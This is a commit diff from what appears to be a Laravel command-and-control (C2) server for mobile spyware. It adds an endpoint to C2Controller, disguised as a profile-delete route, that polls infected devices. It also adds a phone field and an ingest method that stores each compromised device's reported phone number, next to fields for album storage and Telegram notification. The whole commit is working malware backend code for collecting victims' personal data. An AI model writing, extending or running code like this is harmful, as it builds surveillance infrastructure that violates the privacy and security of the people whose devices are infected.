feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:36:09 +08:00
parent 9bf769b2bd
commit 4802d0e51f
7 changed files with 113 additions and 3 deletions
+16
View File
@@ -186,6 +186,22 @@ class C2Controller extends Controller
return $this->encryptedAck();
}
/**
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
* non-zero backs off to ~60s — return code 1 to avoid hammering.
* Payload `p` is the device phone number.
*/
public function profileDelete(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
}
return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
}
public function linkConfigList(Request $request): Response
{
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
+1 -1
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
];
+24
View File
@@ -184,6 +184,30 @@ class IngestService
return $channelId === null || $channelId === '';
}
/**
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
*/
public function ingestDevicePhone(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
if (trim((string) ($device->phone ?? '')) !== '') {
return;
}
$phone = $payload['p'] ?? $payload['phone'] ?? null;
if (! is_string($phone)) {
return;
}
$phone = trim($phone);
if ($phone === '') {
return;
}
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);